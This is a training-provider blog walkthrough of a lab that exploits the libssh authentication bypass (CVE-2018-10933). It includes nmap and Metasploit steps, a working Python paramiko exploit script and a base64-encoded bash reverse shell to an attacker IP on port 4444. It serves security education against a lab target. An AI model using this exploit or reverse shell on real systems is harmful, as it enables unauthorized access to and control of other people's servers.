blog
LIBSSH Auth Bypass (CVE-2 ...
11 October 22

LIBSSH Auth Bypass (CVE-2018-10933)

Posted byINE
facebooktwitterlinkedin
news-featured

In our lab walkthrough series, we go through selected lab exercises on our INE Platform. Subscribe or sign up for a 7-day, risk-free trial with INE and access this lab and a robust library covering the latest in Cyber Security, Networking, Cloud, and Data Science!

Purpose: 

This lab aims to understand how one can exploit a vulnerable libssh library. SSH is a very important protocol, and if such (Auth Bypass) vulnerability has been found, then it is almost chaos everywhere. A ton of things could go wrong. We will learn how to run the Metasploit auxiliary module to gain the shell.

Technical difficulty: Beginner

The vulnerability severity base score is 9.1

Description

In late 2018, a critical vulnerability was uncovered in the libssh server code. A vulnerability within the server code can enable a client to bypass the authentication process and set the internal state machine maintained by the library to authenticate, enabling the (otherwise prohibited) creation of channels.

Read More: https://www.libssh.org/security/advisories/CVE-2018-10933.txt 

This exercise will help you understand how to exploit the libssh authentication bypass vulnerability.

Lab Environment

In this lab environment, the user will access a Kali GUI instance. A vulnerable machine libssh versions 0.6 deployed on http://demo.ine.local. 

Objective: Exploit the target to gain the shell and find the flag!

Lab Link: https://my.ine.com/INE/courses/ebd09929/cyber-security-vulnerabilities-training-library/lab/321270c0-8678-4de6-a6fc-e1a7e0aa9ab7 

libssh_lab.jpg

libssh_0.png

Tools

The best tools for this lab are:

- Metasploit Framework

- Nmap

- Bash Shell

- python

What Is libssh auth bypass vulnerability?

A vulnerability was found in libssh's server-side state machine before versions 0.7.6 and 0.8.4. A malicious client could create channels without first performing authentication, resulting in unauthorized access: [CVE-2018-10933](https://nvd.nist.gov/vuln/detail/cve-2018-10933)

It's an authentication bypass vulnerability in libssh library (Server code). The bug was discovered by Peter Winter-Smith of NCC Group. All versions of libssh 0.6 and later are vulnerable to authentication bypass vulnerability. 

How Does It Work?

libssh_0_1.png

Image Source: https://www.guardicore.com/labs/libssh-new-vulnerability-allows-authentication-bypass/

libssh versions 0.6 and above have an authentication bypass vulnerability in the server code. Presenting the server an SSH2_MSG_USERAUTH_SUCCESS message in place of the SSH2_MSG_USERAUTH_REQUEST message the server expects to initiate the authentication, the attacker could successfully authenticate without any credentials. Source: https://www.libssh.org/security/advisories/CVE-2018-10933.txt

The bug is in the libSSH library and easy to exploit. We have to send the SSH2_MSG_USERAUTH_SUCCESS message to the target server instead SSH2_MSG_USERAUTH_REQUEST. It allows access to the target server without any authentication.

It can be done using a python library paramiko.

How to Exploit the Vulnerability?

An attacker can directly run an attack on the open port of the libssh service. All the libssh versions 0.6.0 through 0.7.5 and 0.8.0 through 0.8.3 are vulnerable. There is a Metasploit module to exploit the vulnerability, and one can use the python paramiko library to exploit the vulnerability.

Solution

Step 1: Open the lab link to access the Kali machine.

Kali machine

libssh_1.jpg

Step 2: Check if the provided machine/domain is reachable.

Command

ping -c 4 demo.ine.local

libssh_2.jpg

The provided machine is reachable, and we also found the target's IP address from it.

Step 3: Check open ports on the machine.

Command

nmap demo.ine.local

libssh_3.jpg

![3](https://assets.ine.com/content/ptp/LibSSH/3.jpg)

Port 22 is open.

Step 4: Run the Nmap on port 22 to find the version of running the ssh server.

Command

nmap -sS -sV -p 22 demo.ine.local

libssh_4.jpg

Target is running libssh 0.8.3

Step 5: Search for the public exploit of the libssh 0.8.3 using searchsploit

About "searchsploit"

searchsploit is a bash script that helps find exploits for services, OSes, and applications.

Command

searchsploit libssh

libssh_5.jpg

The target server is vulnerable to libSSH - Authentication Bypass.

Step 6: Run Metasploit framework and search for libssh auxiliary module.

Commands

msfconsole -q

search libssh

libssh_6.jpg

Use the module and check all available options.

libssh Authentication Bypass Scanner Module

This module exploits an authentication bypass in libssh server code where a USERAUTH_SUCCESS message is sent in place of the expected USERAUTH_REQUEST message. libssh versions 0.6.0 through 0.7.5 and 0.8.0 through 0.8.3 are vulnerable. Note that this module's success depends on whether the server code can trigger the correct (shell/exec) callbacks despite only the state machine's authenticated state being set. Therefore, you may or may not get a shell if the server requires additional code paths to be followed. 

Source: https://www.rapid7.com/db/modules/auxiliary/scanner/ssh/libssh_auth_bypass/

Commands

use auxiliary/scanner/ssh/libssh_auth_bypass

show options

libssh_6_1.jpg

Set RHOSTS and SPAWN_PTY value to true, then run the module.

Commands

set RHOSTS demo.ine.local

set SPAWN_PTY true

exploit

sessions

libssh_6_2.jpg

Received a standard shell. 

Upgrade the standard shell to the meterpreter session.

Commands

sessions -u 1

sessions

libssh_6_3.jpg

Upgraded the shell to the meterpreter session.

Step 7: Read the flag

Commands

sessions -i 2

cat /root/flag.txt

libssh_7.jpg

FLAG: 7ef0199dcab54d3da8177256144bf8f0

Exploited the target successfully.

Exploit using Python

-

It is easy to exploit the vulnerability using the python library Paramiko.

Paramiko

Paramiko is a pure-Python(2.7, 3.4+) implementation of the SSHv2 protocol, providing both client and server functionality. It provides the foundation for the high-level SSH library Fabric, which is what we recommend you use for common client use-cases such as running remote shell commands or transferring files. Direct use of Paramiko itself is only intended for users who need advanced/low-level primitives or want to run an in-Python sshd. 

Source: https://www.paramiko.org/

Step 8: Save the below code on the attacker machine.

Code

import argparse
import socket
import paramiko
my_parser = argparse.ArgumentParser(description='LibSSH Authentication Bypass')
my_parser.add_argument('-T', '--TARGET', help='Target eg: demo.ine.local', type=str)
my_parser.add_argument('-P', '--PORT', help='Target Port eg: 22', type=str)
my_parser.add_argument('-C', '--COMMAND', help='Command to execute eg: whoami', type=str)
args = my_parser.parse_args()
target = args.TARGET
port = args.PORT
command = args.COMMAND
sock = socket.socket()
sock.connect((str(target), int(port)))
message = paramiko.message.Message()
transport = paramiko.transport.Transport(sock)
transport.start_client()
message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
transport._send_message(message)
cmd = transport.open_session()
cmd.get_pty()
cmd.exec_command(command)
print(cmd.recv(1024).decode('utf-8'))
libssh_7_1.jpg

Run the id command on the target server. 

Commands

python3 libssh.py -T demo.ine.local -P 22 -C 'id'

The command was correctly executed on the target server and received an output. This confirms that the code is working well and exploited the target machine.

libssh_7_2.jpg

Get the reverse bash shell of the target server.

Command:

echo 'bash -i >& /dev/tcp/192.23.173.2/4444 0>&1' | base64

libssh_7_3.jpg

Final Command:

echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMjMuMTczLjIvNDQ0NCAwPiYxCg==' | base64 -d | bash

Note: Make sure your attacker's machine IP address

Start netcat listener on port 4444.

Command: nc -lvp 4444

libssh_7_4.jpg

Execute the script and the bash reverse shell command.

Command

python3 libssh.py -T demo.ine.local -P 22 -C 'echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMjMuMTczLjIvNDQ0NCAwPiYxCg==' | base64 -d | bash'

libssh_7_5.jpg

libssh_7_6.jpg

Received the reverse shell.

Conclusion

We successfully exploited the libssh bug, bypassed the authentication, and gained the meterpreter session. It was pretty straightforward to exploit the bug as we just had to add the cMSG_USERAUTH_SUCCESS, allowing an attacker to access the target machine.

References

 1. libssh Authentication Bypass Scanner

 2. With libSSH, Authentication is Optional

 3. Authentication bypass in server code

Try this exploit for yourself! Subscribe or sign up for a 7-day, risk-free trial with INE to access this lab and a robust library covering the latest in Cyber Security, Networking, Cloud, and Data Science!

Need training for your entire team?

Schedule a Demo

Hey! Don’t miss anything - subscribe to our newsletter!

© 2022 INE. All Rights Reserved. All logos, trademarks and registered trademarks are the property of their respective owners.
instagram Logofacebook Logotwitter Logolinkedin Logoyoutube Logo